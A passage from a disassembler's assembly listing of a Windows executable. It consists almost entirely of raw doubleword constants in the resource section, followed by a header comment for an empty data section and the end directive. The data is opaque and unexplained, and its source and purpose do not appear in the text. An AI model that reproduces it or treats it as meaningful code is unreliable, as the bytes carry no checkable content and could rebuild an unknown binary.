		dd 0C7BFACD8h, 81AD9FF3h, 0B889B496h, 0AAA808C7h, 0B74E72A3h
		dd 0BF1641BCh, 936246BBh, 7C722580h, 742B3D8Eh,	57352A7Dh
		dd 570D6C57h, 2C053C50h, 2715D857h, 2EEDE22Eh, 1EF3F74Eh
		dd 1DC8DB1Ah, 0E3DFA93Eh, 0F1AC9D78h, 0F7CEACE3h, 0C0BD87FAh
		dd 0C98F91F4h, 0A4BE60FEh, 8A0671ACh, 9F6050A7h, 94635CBDh
		dd 6525186h, 60293FAFh,	4E271A63h, 44126A71h, 4B001C63h
		dd 3E28F243h, 36EFE257h, 1BF1C529h, 13C9DF0Eh, 0F0FEBE06h
		dd 0F3DBBE35h, 0C98ABFF0h, 0E0DA8DFEh, 0D99AB5D4h, 9B9370CEh
		dd 0BF677DCCh, 0A61253BFh, 93526DAEh, 544A4889h, 775D2484h
		dd 58092977h, 6D2E2612h, 48091352h, 2913D74Bh, 36EBFB48h
		dd 2BE6EE4Ah, 1DF6DE39h, 0E4E1CB03h, 0E4DFAF27h, 9EA4B7EBh
		dd 0DC9792DEh, 0D3A09AFBh, 87F467C1h, 0BD725FC8h, 89624EA4h
		dd 876D49BBh, 674655B2h, 6472499Ah, 702F284Dh, 583B0343h
		dd 3A081B77h, 3A24F662h, 35E7E455h, 16F9C83Ch, 1EFFD922h
		dd 0EFC1DF29h, 0C0BAB100h, 0F9BD87F4h, 0D3859DFCh, 0D58186EFh
		dd 0A8946EE2h, 0A26163C8h, 0E46073A1h, 804B5E98h, 564E4C8Dh
		dd 7B4E359Bh, 79053A61h, 53240B63h, 5410201Ch, 251BEE7Fh
		dd 7E5EA57h, 0CE7EE32h
		dd 31F3FE33h, 2DC3CB0Ch, 0E2D1B404h, 0C991D419h, 0C9A0B1CDh
		dd 0C69784E8h, 0AB9C9DA8h, 0BC8D69C4h, 966971A5h, 9E754BD4h
		dd 8A4B538Ch, 785223F0h, 6E353C96h, 493A1B6Eh, 44621577h
		dd 44061D4Dh, 3610E945h, 3E3E944h, 6EEECD39h, 19DCD829h
		dd 0FED3AA1Ch, 0EBABBE3Fh, 0C8B3A8EFh, 0B48582FCh, 0A79A92EFh
		dd 0A59964C7h, 0A37E7D83h, 8B7648BDh, 98434083h, 7E5436BDh
		dd 760D5199h, 4820057Eh, 442F1A7Dh, 422F1243h, 3508E47Dh
		dd 2AEFF630h, 2FDD61Fh,	3BCAC60Bh, 0FCDA8B6Ch, 0F3ACA21Fh
		dd 0C5B58CFCh, 0DEB7AAF2h, 84ADFAC1h, 86AA49E5h, 9A2624F1h
		dd 0BE16689Ch, 966755BBh, 43563383h, 4442369Fh,	541F396Dh
		dd 57150273h, 1143F5Dh,	291FDA32h, 2EEDE311h, 6F7F237h
		dd 0E1D729h, 0E3E0C02Bh, 0E0A59D1Fh, 0D7A2BDD0h, 0F1A4AFF1h
		dd 0BB037BA2h, 0A5A9CE9Ah, 340614C0h, 0E9306E43h, 0FD4830B6h
		dd 6C626EBBh, 448CC6FDh, 761E888Dh, 620D2A7Eh, 0F3FF8771h
		dd 0CF78B61Ah, 0CF7998FAh, 68A48899h, 0B5AA74D9h, 2D35333Fh
		dd 0A1BEFC63h, 0A0A68A7Bh, 3B25E6F8h, 0BCD8DCD9h, 4FF9C42Ah
		dd 0DA04122Eh, 0B691489Ch, 22AB2EDAh, 0C8A43C82h, 12560B9Ch
		dd 4A4C4A04h, 2E303A10h, 3C36F548h, 1B76EE2Eh, 0CD7BC26Fh
		dd 66A28AF7h, 0E15FF707h, 829E9667h, 0CCC835F1h, 8B4A5509h
		dd 0A03BE6A0h, 0AAE66113h, 18F7029Dh, 0AFD43EBh, 0CCBD9B41h
		dd 7B932CE8h, 22D238Ah,	0EFC31D1Ch, 0DFCFD3FDh,	0A158563Ah
		dd 3A7FCD91h, 0B7376A2Ch, 0D3096FC5h, 64A0B4F9h, 6B5E23DBh
		dd 0B244BA64h, 545378Dh, 0ACE26305h, 0DE16618Eh, 756B7F97h
		dd 2FF200B2h, 29FFF1A7h, 2751DB43h, 0F21CC283h,	817638E4h
		dd 3E20351Fh, 91816500h, 1A76A88Bh, 6930231Ch, 1723D07Bh
		dd 7EB51BC7h, 66099C76h, 71095570h, 23AA8848h, 0D9B8C2B2h
		dd 9AC6D496h, 4555BF8Ch, 0B6D2EA3Bh, 517D01C2h,	0D3CE16DBh
		dd 0C2C14896h, 0F03028F0h, 9824F261h, 1685C137h, 3A8B53CEh
		dd 32E0E7CBh, 3646702Ah, 872D7E02h, 53148D5Ch, 1373A9BBh
		dd 0EB8F5756h, 1458C2A0h, 8AB6C465h, 9B9F02F7h,	135FDCDAh
		dd 0B4D0F448h, 0C3E2462Dh, 5B770AB5h, 0E00A19CCh, 2533DED1h
		dd 0FEDBF80h, 0F412348h, 0F3B1B3BBh, 2995E3C8h,	67B4E54Fh
		dd 163EB0ADh, 22DCA5Eh,	0CB756728h, 6CA88C9Dh, 0F1AA70DDh
		dd 0B89EFFF9h, 1515FB7Ah, 0A317D962h, 0B236ECFCh, 3EFAD2Dh
		dd 0E4DD9DDAh, 5A0D16F2h, 2C252CD8h, 733E829Ch,	38186779h
		dd 9BA0B8FAh, 0DAFA3F4Ah, 0F1BF19DFh, 406C9271h, 0CF278832h
		dd 6C93F4ADh, 410B2F4Eh, 0FBA48277h, 86BAE416h,	94794A77h
		dd 4E4FDC86h, 0B0DCE89Ch, 0BFEE90F6h, 580706B1h, 0DC363E9Dh
		dd 6E99DE45h, 0F82334F8h, 65B6EEAh, 14404910h, 761C0A06h
		dd 0A5A33D14h, 3E5A527Bh, 0DBF54F03h, 5A86953Ah, 6AFEF31Dh
		dd 1EA3DA0Bh, 0C4B0BE68h, 0B72B3324h, 36CCEAAEh, 0F5AE1E17h
		dd 0B880A2F0h, 9CF604AEh, 0FA20A641h, 171220CEh, 0C60B274Fh
		dd 0C4AA65E8h, 6DD5D82h, 4A98D154h, 790B3A12h, 99FD8976h
		dd 1376B404h, 88F152B9h, 67075F1Ch, 0F9A09E72h,	0D5FCF831h
		dd 1DE48E1Eh, 9ECBDC15h, 6CEB4D90h, 49BFE4F4h, 99A45206h
		dd 885240ECh, 0CB85E198h, 751E1CF2h, 22F3222h, 3448B6F4h
		dd 0E7DFA70Ah, 7F58563Ah, 109FE1E1h, 8A29821Ch,	6802903Eh
		dd 2291EB42h, 67E221DDh, 994FBA54h, 9EBA5DFFh, 4DCBD6B0h
		dd 2E041BD8h, 476CFD5Ch, 0C8F200ABh, 0D600FE3Eh, 0DE309CC8h
		dd 725A3AA3h, 842438DAh, 0E3A4713h, 69686880h, 14D722FFh
		dd 7F2A3B4Ch, 89F9A25Fh, 1B81C8FEh, 8DF526Dh, 23CAFB54h
		dd 545B2D9Dh, 0B7E1C640h, 2543DBBFh, 41D4E28Ch,	0B6E2F02Bh
		dd 96A0C029h, 56F15AFEh, 0E20C1A63h, 5C12EE57h,	7A273BDEh
		dd 0C374469h, 0E93373C2h, 276E5EA0h, 3662FC9Fh,	647DD328h
		dd 6F5EAC16h, 14E9FD65h, 5236D727h, 0FDD4C340h,	0E2963B10h
		dd 0E9B1A608h, 0D6D19E0Bh, 0C1CFC1A2h, 3DA93ACEh, 6BCD05B5h
		dd 0E00A3FD4h, 114AC425h, 0CC0CAD75h, 5AF571EEh, 0F01401ACh
		dd 26526003h, 5A17015Ch, 260F134Ah, 51E97534h, 0DB8AA869h
		dd 5FAED290h, 51233D97h, 0D9B4F247h, 96C1D012h,	0F2818F0Ch
		dd 0B74B13C6h, 4DECCA8Fh, 0FFE15426h, 173B46C2h, 0BE467584h
		dd 6FDB638Fh, 8036AD9h,	0E9664B7Dh, 147A5F9Dh, 0B29D9416h
		dd 707915A9h, 8D838932h, 58ACCACBh, 6A96A4A6h, 9525EF5Ch
		dd 8682DD03h, 0BAB373F3h, 1745DCB6h, 0B0ECC4EFh, 336103A1h
		dd 0CDC828C6h, 598DB133h, 0EA240CBDh, 0D64DA557h, 83323EDAh
		dd 1470639Fh, 0AA265E8Fh, 0CF5C6A07h, 0E40E1B7h, 10B16D30h
		dd 33F0F17Ah, 38C8C72Fh, 1FD1C932h, 0C9DCDF0Bh,	0E0D1A113h
		dd 72FFDAFDh, 58882719h, 5D6BA479h, 0C8B66EACh,	0B0564547h
		dd 4FA7ADD4h, 4F201EC7h, 42F3CFFh, 0EC734F7Bh, 46B3A5FBh
		dd 635EE5B9h, 3C687620h, 0DFB2F48h, 0BCB63938h,	8439C6E6h
		dd 173523A3h, 0D6AE8C48h, 6FEECC1Eh, 0AEE01117h, 88AC6D90h
		dd 0A2227796h, 4CFBC228h, 0D8021119h, 0C6781EA0h, 0A21E2CD9h
		dd 97D2318Ch, 100C6325h, 95460689h, 0B1D1765Eh,	3A565A79h
		dd 661F0FA5h, 0B503900Ah, 6B6F6E48h, 72F4FF07h,	3553BC0Eh
		dd 8E8AE611h, 0B6BD437Fh, 5586E4BEh, 88CA9129h,	0C667FFABh
		dd 8E003E90h, 0EB9DDC4Dh, 0F21D7E52h, 3BAA5EE4h, 24E1DBFh
		dd 81DDA953h, 0C3565424h, 3864735Dh, 46BA3EA7h,	0E38F8E38h
		dd 16038208h, 74F4B565h, 29AAB863h, 0A6ED538Fh,	0CD90D44Eh
		dd 82C97773h, 0F569F0AAh, 4F33FD94h, 0FD74E7h, 692C684Dh
		dd 0C497309Eh, 0FD8567D1h, 0D4FC533h, 6823009Bh, 0DAB66778h
		dd 1FCF9B43h, 36FB5A24h, 0A17DD512h, 6F90C8CFh,	6DD4ACE5h
		dd 0FE9C3DB3h, 0C43D376Dh, 0F7715B74h, 2DD2D0A4h, 0D355D5AEh
		dd 0B0EECC88h, 0B6492136h, 0DB0A28EAh, 0DE364D67h, 8DA53BE0h
		dd 39CABD11h, 6BF1D83Ch, 0AF525024h, 44E1995h, 283E2C26h
		dd 5116DA37h, 5E8A982Ah, 0E967F1D0h, 7A96A126h,	0A2915793h
		dd 1B3DD04Ah, 0A4E0CBF0h, 0BD211415h, 3F13C120h, 0AC7F814Ch
		dd 0B40826ECh, 0BA164ED0h, 6BB1CD8Eh, 833370C6h, 266C387Fh
		dd 26B09F08h, 32343C46h, 6A01EFDBh, 0CBF38802h,	5CB8B83Bh
		dd 6AFC70C5h, 28964D0Eh, 0A8D17595h, 13FCE48h, 0A2FEF60Fh
		dd 9EBF6F1Fh, 0BA63F892h, 0CC6DF995h, 570624EAh, 5F9F1E9Dh
		dd 0F8121EA7h, 322B6A61h, 816BB373h, 227E7261h,	1E2BE79Fh
		dd 15C77812h, 0B69A2DF2h, 47E611B3h, 39C5A27Ch,	27F3E009h
		dd 0AE852B97h, 6DEECC46h, 90E6DB11h, 0DDFF2B92h, 0D9D2DC9Ah
		dd 0A79465C1h, 9A3E76DBh, 847748BFh, 0D8121DB6h, 2843508Ch
		dd 413E7ADBh, 6518095Dh, 5B19345Fh, 520D0452h, 2419C75Ah
		dd 34EBE048h, 3AE6C519h, 2D2CB0Bh, 0F1CBDF0Fh, 0F1D49928h
		dd 0DFAEBDF0h, 0DFBD85F3h, 0DBB6A8EDh, 0AC9963DFh, 0AB7075C8h
		dd 94795896h, 987F5BBDh, 6E426A8Ah, 4C452A9Dh, 702B2C51h
		dd 482A0774h, 5C09064Eh, 1411EE45h, 3EF6E57Bh, 1EF9EC27h
		dd 2DFC833h, 0E3C5D614h, 0E1D3BC13h, 0D094A5EEh, 0AAA297E7h
		dd 0ECA2BDCFh, 82A041FCh, 0B56943E6h, 8B7D73BAh, 0A5405EB0h
		dd 6F4F568Dh, 4D663485h, 793A2475h, 4F001060h, 570D016Eh
		dd 3E37DC44h, 26EFE248h, 368EEE23h, 15FBD835h, 0DC5F016h
		dd 8CBAC604h, 2F94847Eh
		dd 0DAA4EB2Ch, 0DB8B88F5h, 0AF849086h, 0A39262C5h, 8C6534A7h
		dd 0BE1A47B2h, 0DE6375ABh, 76402E89h, 772B249Bh, 6D073706h
		dd 7C075048h, 643E3767h, 2017FA10h, 6ABFEF30h, 6E9A4007h
		dd 0FDF5B660h, 0BA961683h, 0F741147Ch, 0A6D2D09Fh, 9E817B67h
		dd 2A2FFC96h, 0BBC07EAAh, 0F5BF93DAh, 0B71816F8h, 8908084Ch
		dd 34B424C4h, 3B314C03h, 0D73DD87h, 42EB6E28h, 24CB2B24h
		dd 12F90791h, 0D18AA86Bh, 5CB1CED5h, 3C2F4E5Eh,	76FA4E96h
		dd 74C36181h, 298E3547h, 82CB4513h, 0C086AAA4h,	5A0506D9h
		dd 0DE383CBBh, 0E4325853h, 126247DAh, 83340E4h,	380109A9h
		dd 241C124Ch, 180FF9E9h, 80677A14h, 4C109C46h, 0A5F57E10h
		dd 0FF695BB1h, 78949851h, 84C600EFh, 9F281E87h,	0F1CEDC86h
		dd 0FF83A9D2h, 0F2AED6F1h, 580706FDh, 0DC363E91h, 15ED7426h
		dd 0F829D823h, 55643EEAh, 26731FBDh, 6E021828h,	41C99514h
		dd 0D66A4808h, 4C78863Ah, 28F6E749h, 0EE0CC25h,	89F2B01Bh
		dd 0B49AB3FDh, 8B3B4576h, 0AFCCEAAEh, 905765A3h, 35E8C6B9h
		dd 0FBDD232Ah, 4FFB43BEh, 0E8220ABDh, 0F6244649h, 0B1A23CE8h
		dd 120E52BDh, 2DF1D75Dh, 0C65A5839h, 0C3978580h, 0DAF34348h
		dd 5884A21Ch, 0F437231Ah, 74A09E78h, 0A2FE29EBh, 0C4ECCA44h
		dd 9EA0D9E8h, 0ACDA8EC2h, 2F19749Eh, 0C9C429BCh, 0AD58D039h
		dd 659D93E8h, 0A61E1CF8h, 0B7A03C8Ch, 100C6964h, 4E1A0E56h
		dd 0B9A73441h, 3A565F0Bh, 45E17D74h, 9082A011h,	54BDB0CDh
		dd 6076AC56h, 7F534597h, 0BEA8B5FFh, 0D04D1180h, 0FCD6D49Bh
		dd 50D7ADC8h, 380DF256h, 0C34C8B7Dh, 0B0581CF8h, 1CF41E89h
		dd 0C7D4C716h, 3E2F0B77h, 43300000h, 0D8898C3Ah, 0BDA38DE3h
		dd 46429566h, 0F6EB6Eh,	0E7035575h, 70AC842Bh, 2FFBE933h
		dd 0DDE99720h, 0B0AF4181h, 3D2BE2BCh, 0B6D2DAFBh, 0B1EF1669h
		dd 0D3F2E4C3h, 0AA5F1AC6h, 0A05B7F98h, 0B26C18ABh, 99C844BCh
		dd 1A76798Fh, 28546EE4h, 652A231Ah, 25260A4Dh, 131BF95Ah
		dd 0F573CA44h, 6EAA825Fh, 531D3BF3h, 0E2B6F445h, 98C4D2B4h
		dd 59D28ADCh, 84CAA30Dh, 7C7B71A6h, 5CFC3AAAh, 0D021EF79h
		dd 0B94A70D2h, 0D63FA11Fh, 0CEB642DEh, 0C3D1DCF0h, 76525015h
		dd 6261044Fh, 426C1474h, 83830A34h, 0A17035AAh,	5E2525AFh
		dd 7AA6844Bh, 0DCC918h,	69C2D069h, 94FA471Dh, 0B2D20496h
		dd 93BBFAA4h, 0FCB14BFCh, 924C38F0h, 79E9249Ch,	0FA1418AFh
		dd 834287Fh, 0A3CF4FFAh, 246046AAh, 0EFE3E14Fh,	0A86C4A0Eh
		dd 0B1857A02h, 5C889AA8h, 24DFF34Eh, 2CE1FC15h,	0CAFE8444h
		dd 0E5553178h, 27CEECACh, 8558E554h, 2DEAF8A0h,	0CDF803D9h
		dd 3CB399C0h, 0B31412D6h, 0D2DB8D51h, 0FFD93EDAh, 97BFB209h
		dd 1264A1BBh, 0B4536A14h, 3E6A7A32h, 4DE86AB1h,	32D2943Eh
		dd 6894A34Dh, 5C7F25A5h, 4031BE58h, 92BECDE6h, 0CA1851D4h
		dd 3B25BA92h, 0BCD8DC5Dh, 0BEAFC42Ah, 0C98C7AB3h, 7DED20CCh
		dd 0F6100443h, 0B9ACDE03h, 120E6B64h, 0AD652F04h, 1E7AFE97h
		dd 0A9972620h, 4A46AEC7h, 0DC8B52B9h, 6692A1C3h, 0FFACEED3h
		dd 0D9E4366h, 0A09C58F1h, 0B04F1E82h, 0ADD8D6BDh, 0BB8CF4F4h
		dd 5C0B00C7h, 0D8323A49h, 0E9EFE649h, 0F41F4C5Ch, 97A0A9E6h
		dd 100C697Ah, 4D184868h, 6BDF3EFh, 0FAE3742Eh, 49340723h
		dd 0EB0F903Ah, 64A0BEF8h, 7376A4E7h, 0E8534593h, 8EBAC8E6h
		dd 152EFDDEh, 5582C0BAh, 88CE9709h, 794F8DABh, 67003E9Ah
		dd 12ECF4C9h, 6791D529h, 1B184Fh, 1A524798h, 4E485600h
		dd 0DBC39B5Dh, 0B5644236h, 0CB66A46Eh, 64AEF1ADh, 0D481CC46h
		dd 54D8215Eh, 764A7976h, 9EB98C72h, 0D0D4D634h,	8C90E98Fh
		dd 0B9037092h, 95F81E69h, 0C3DA48BCh, 6F5C2839h, 0C0310769h
		dd 0FE34DEE2h, 221244F0h, 34662BC8h, 12744C2Ch,	1847553Fh
		dd 3C550610h, 580DA916h, 2EC5D50Eh, 91CDA872h, 4C82AFF5h
		dd 2672456Eh, 0F2C4D27Ch, 0F585B08Ah, 9E117B67h, 4F65FC96h
		dd 0D1CC1F87h, 0FBE918AEh, 0BF15EFB9h, 0FC263108h, 6E1064EEh
		dd 0E71351F6h, 1678799Fh, 38A4ED18h, 2A659776h,	507C8A3Ch
		dd 7E4E25CFh, 3FCFA660h, 505721A1h, 4831C25Ch, 234F8404h
		dd 0A4E0F5A7h, 0A7EC4915h, 4DECFA94h, 0FFD7263Eh, 0B4C63DC2h
		dd 0BF4075D0h, 0D0C9A721h, 0F0B040DCh, 876D31FAh, 91DDA083h
		dd 326E4739h, 0EE9E7794h, 0A61A9847h, 0A37760AAh, 8981D62Fh
		dd 79D33F55h, 49392A81h, 294D0053h, 0A2FEF7A9h,	475B4E67h
		dd 41B94149h, 0FDD2E724h, 0B3BB94C0h, 0EB1412DBh, 0C84A1AA8h
		dd 0F9313E9Fh, 246AD46Dh, 0CF3DC06h, 305C5A39h,	0BBAD6956h
		dd 4C48A6A2h, 5A86943Eh, 45BA278Ah, 9FA2B06Ah, 7B4F4060h
		dd 92BA0E2Bh, 8DE36F09h, 518CE8A2h, 8CC2B735h, 340E87AFh
		dd 0DABF96B1h, 6D9B20CCh, 0F61000E9h, 0FB793C82h, 2214C663h
		dd 2F8CDF04h, 2E5ACC96h, 6CA85D20h, 1A75EE7Eh, 58EC9356h
		dd 3052A04Ah, 5E853BA7h, 7A2DBC56h, 9A38C58Bh, 17CAD881h
		dd 9CF6D115h, 816B799Eh, 44F43283h, 0E82C5329h,	8C424FCAh
		dd 61E17CD8h, 21D10AFh,	1FC3B177h, 1E488086h, 0D3580C10h
		dd 0A4843ABh, 0DE17D2Ch, 0D582A010h, 0E09F61B0h, 729EAE97h
		dd 0AEE73FEDh, 4789C842h, 0CC991583h, 0FBD28EDFh, 96D34763h
		dd 520D009Bh, 0D6302493h, 6001DC4Dh, 0F21C284Bh, 85A2F1D7h
		dd 0E0A69BDh, 74190751h, 2A596411h, 4DF18D4Ch, 0C372B000h
		dd 20481F8h, 0EB8E9C44h, 40B2F9D1h, 35217B62h, 0D23A7E48h
		dd 48F5D47Eh, 5923238Fh, 336B116Dh, 0C4C0D0F7h,	6BC2473Ch
		dd 0E20C00C6h, 3119FAE7h, 1FDFC715h, 2260C179h,	158553CEh
		dd 0D15229BBh, 65EF46F9h, 7C77130h, 1BAE8F22h, 63A45B2Fh
		dd 31A02982h, 85C6DF17h, 9FFDA1Ah, 0EAC5DE06h, 9A996B55h
		dd 0B7F4AC13h, 8663ECE4h, 80BF5FDh, 6531D9E7h, 0EE280899h
		dd 0B8AD6D23h, 82BC4ECAh, 18445144h, 0AD91A039h, 0B96B85D7h
		dd 7243539Bh, 8FF77634h, 62265171h, 509ED431h, 56A4C324h
		dd 0D488684Ch, 0B8FE3C0Eh, 0A4EC03FCh, 7A3D04E3h, 85D1FB2Fh
		dd 0BBFA4DEBh, 9D5B2BC9h, 69192482h, 5DBCD97h, 5F0E4367h
		dd 190101B3h, 0DBAF628Ch, 710951E9h, 0C4633471h, 0B1857703h
		dd 6FCBC17Dh, 4C12AB7Ch, 455B4DA3h, 0C9E6933Ah,	6BDB4A77h
		dd 79FD2379h, 4F22A97Ch, 0B06EF75Dh, 0FE07F94Eh, 0DC10FC12h
		dd 84FC22CEh, 10DDCF23h, 6313EEAh, 94ADCCA5h, 0CB4E6C21h
		dd 305C6B0Bh, 0B5588746h, 7C56D585h, 780FF03Eh,	25AA232Ah
		dd 7E27BF00h, 0FB0BE69h, 4CBDF028h, 0F0F75BE2h,	565FE7D7h
		dd 4BE8F6A0h, 0EBF612ECh, 5F0B12BEh, 0E8122027h, 0F47C6D2Ch
		dd 4CEB8E7h, 6CBF4BF6h,	6C7A24h, 0FADE6732h, 0D4687620h
		dd 0B5897AE1h, 584D1033h, 2419A04Ah, 64EA2550h,	86DD7D4Dh
		dd 95570A47h, 0D4431081h, 0F75D6F80h, 52E6C4B0h, 360BFCD3h
		dd 0D802BF54h, 0B18D95CAh, 0F71E1CF6h, 3203617Bh, 0EDAAA1F4h
		dd 9A45A7FDh, 2C58669Fh, 1435C195h, 16FF821Ch, 0BE5C9306h
		dd 9B6F6037h, 381FD124h, 80ACDA40h, 0D8444392h,	11DCAC83h
		dd 9AC6E43Bh, 0A89EF19Ch, 0C7F48012h, 73F359BAh, 0E6ED1D79h
		dd 0AC438E25h, 921A37B6h, 0EB8C07Fh, 952E5600h,	0D5A9F99Eh
		dd 0DFF89AE3h, 0CD287FD5h, 1E838272h, 64CF1156h, 0F9B4E97Fh
		dd 7EAAE7E5h, 0ACFE0170h, 0BAE6F45Eh, 23FCA905h, 3369E0D0h
		dd 0C4C0D0FFh, 0A0F6468Eh
		dd 0EA4693C5h, 730A6AD5h, 75286E81h, 3C191B75h,	120452FEh
		dd 1B04210Dh, 14E914C8h, 1C72F14Ch, 7C4931B5h, 6F8C9A74h
		dd 916714D6h, 2F1D499Fh, 75B6F440h, 0A8EE4FE9h,	0E9671F8Ah
		dd 4BE0DEB6h, 0F2C4FD33h, 0EA7187B5h, 6D0A28EAh, 0DE366547h
		dd 967465E0h, 3D80BDEEh, 0E74461D2h, 1678F59Fh,	3D59118h
		dd 0BD6E4C08h, 60568BA1h, 713F1542h, 9398967Dh,	4A8887EBh
		dd 1D4B946Ch, 96F2FAF7h, 8AE77B0Bh, 71DEECA6h, 0C0ECFA4Ch
		dd 0CE9055B3h, 0F729FB43h, 1C4E24E0h, 82A1F3D1h, 8D3370F9h
		dd 0DEC18C3Ah, 0E55FAEF7h, 24B1493h, 5051B924h,	3B7AA232h
		dd 2009F05Ch, 1BFAA86Ah, 90C4A129h, 794D3FAEh, 828CB0Dh
		dd 4A31237Bh, 4F231546h, 9315D6C3h, 0DFCC50C9h,	0DC063178h
		dd 4FFC42CEh, 8DDDCF23h, 2275B5D3h, 3BF5C0C8h, 0A94E6C2Bh
		dd 0B13A6244h, 4D687E18h, 4C10D015h, 0D1866B3Eh, 3A94C888h
		dd 0AF374F0Ah, 7B08E42h, 0AC3FC4B2h, 0FCF3E5D8h, 6859EBE7h
		dd 41A11EA4h, 0B41EFB50h, 0BBFBED41h, 0E866980Fh, 47CB2EDAh
		dd 42F1350h, 122EA3F6h,	8E5A04h, 2E6AD012h, 3F807620h
		dd 8876842Eh, 0C099218h, 485FAC6Eh, 8A056DBh, 8246DC7Fh
		dd 1BBCCA74h, 0C3FAFCD6h, 4159FC1Bh, 0BAD6DD75h, 361BBD45h
		dd 0DCC07143h, 1180h dup(0)
_rsrc		ends

; Section 9. (virtual address 00029000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00028A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 429000h
		align 2000h
_idata2		ends


		end start